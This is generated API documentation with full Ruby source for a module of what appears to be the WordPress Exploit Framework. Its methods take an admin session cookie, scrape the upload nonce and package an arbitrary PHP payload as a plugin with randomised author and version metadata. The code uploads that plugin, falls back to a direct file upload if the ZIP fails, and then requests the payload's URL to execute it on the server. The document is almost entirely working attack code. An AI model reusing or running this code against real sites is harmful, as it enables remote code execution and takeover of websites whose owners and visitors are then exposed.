module Wpxf::WordPress::Plugin

Provides functionality required to interact with the plugin system.

Public Instance Methods

fetch_plugin_upload_nonce(cookie) click to toggle source

Retrieve a valid nonce to use for plugin uploads. @param cookie [String] a valid admin session cookie. @return [String, nil] the nonce, nil on error.

# File lib/wpxf/wordpress/plugin.rb, line 8
def fetch_plugin_upload_nonce(cookie)
  res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie)
  return nil unless res&.code == 200
  res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
end
generate_wordpress_plugin_header(plugin_name) click to toggle source

Generate a valid WordPress plugin header / base file. @param plugin_name [String] the name of the plugin. @return [String] a PHP script with the appropriate meta data.

# File lib/wpxf/wordpress/plugin.rb, line 60
def generate_wordpress_plugin_header(plugin_name)
  ['<?php',
   '/**',
   "* Plugin Name: #{plugin_name}",
   "* Version: #{_generate_wordpress_plugin_version}",
   "* Author: #{Wpxf::Utility::Text.rand_alpha(10)}",
   "* Author URI: http://#{Wpxf::Utility::Text.rand_alpha(10)}.com",
   '* License: GPL2',
   '*/',
   '?>'].join("\n")
end
upload_payload_as_plugin(name, payload_name, cookie) click to toggle source

Create and upload a plugin that encapsulates the current payload. @param name [String] the name of the plugin. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [Boolean] true on success, false on error.

# File lib/wpxf/wordpress/plugin.rb, line 19
def upload_payload_as_plugin(name, payload_name, cookie)
  nonce = fetch_plugin_upload_nonce(cookie)
  return false if nonce.nil?

  res = _upload_plugin(name, payload_name, cookie, nonce)
  res&.code == 200 && res.body !~ /plugin installation failed/i
end
upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie) click to toggle source

Upload and execute a payload as a plugin. @param plugin_name [String] the name of the plugin. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.

# File lib/wpxf/wordpress/plugin.rb, line 44
def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
  uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)

  unless uploaded_as_plugin
    unless upload_payload_using_plugin_form(payload_name, cookie)
      emit_error 'Failed to upload the payload'
      return nil
    end
  end

  _execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
end
upload_payload_using_plugin_form(payload_name, cookie) click to toggle source

Upload the payload via the plugin form without packaging it in a ZIP file. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [Boolean] true on success, false on error.

# File lib/wpxf/wordpress/plugin.rb, line 31
def upload_payload_using_plugin_form(payload_name, cookie)
  nonce = fetch_plugin_upload_nonce(cookie)
  return false if nonce.nil?

  res = _upload_plugin(nil, payload_name, cookie, nonce, false)
  res&.code == 200
end

Private Instance Methods

_execute_payload_uploaded_as_plugin(plugin_name, payload_name) click to toggle source
# File lib/wpxf/wordpress/plugin.rb, line 82
def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
  payload_url = _payload_url(plugin_name, payload_name)
  emit_info "Executing the payload at #{payload_url}..."
  res = execute_get_request(url: payload_url)

  has_body = res&.code == 200 && !res.body.strip.empty?
  emit_success "Result: #{res.body}" if has_body
  res
end
_generate_wordpress_plugin_version() click to toggle source
# File lib/wpxf/wordpress/plugin.rb, line 92
def _generate_wordpress_plugin_version
  "#{Wpxf::Utility::Text.rand_numeric(1)}."\
  "#{Wpxf::Utility::Text.rand_numeric(1)}."\
  "#{Wpxf::Utility::Text.rand_numeric(2)}"
end
_payload_url(plugin_name, payload_name) click to toggle source
# File lib/wpxf/wordpress/plugin.rb, line 74
def _payload_url(plugin_name, payload_name)
  if plugin_name.nil?
    normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
  else
    normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
  end
end
_plugin_files(plugin_name, payload_name) click to toggle source

A hash containing the file paths and contents for the ZIP file.

# File lib/wpxf/wordpress/plugin.rb, line 112
def _plugin_files(plugin_name, payload_name)
  plugin_script = generate_wordpress_plugin_header(plugin_name)
  {
    "#{plugin_name}/#{plugin_name}.php" => plugin_script,
    "#{plugin_name}/#{payload_name}.php" => payload.encoded
  }
end
_plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true) click to toggle source

A {BodyBuilder} with the required fields to upload a plugin.

# File lib/wpxf/wordpress/plugin.rb, line 121
def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
  builder = Wpxf::Utility::BodyBuilder.new
  builder.add_field('_wpnonce', nonce)
  builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
  builder.add_field('install-plugin-submit', 'Install Now')

  if create_zip
    zip_fields = _plugin_files(plugin_name, payload_name)
    builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
  else
    builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
  end

  builder
end
_upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true) click to toggle source

Build the body and return the response of the request.

# File lib/wpxf/wordpress/plugin.rb, line 99
def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
  builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
  builder.create do |body|
    return execute_post_request(
      url: wordpress_url_admin_update,
      params: { 'action' => 'upload-plugin' },
      body: body,
      cookie: cookie
    )
  end
end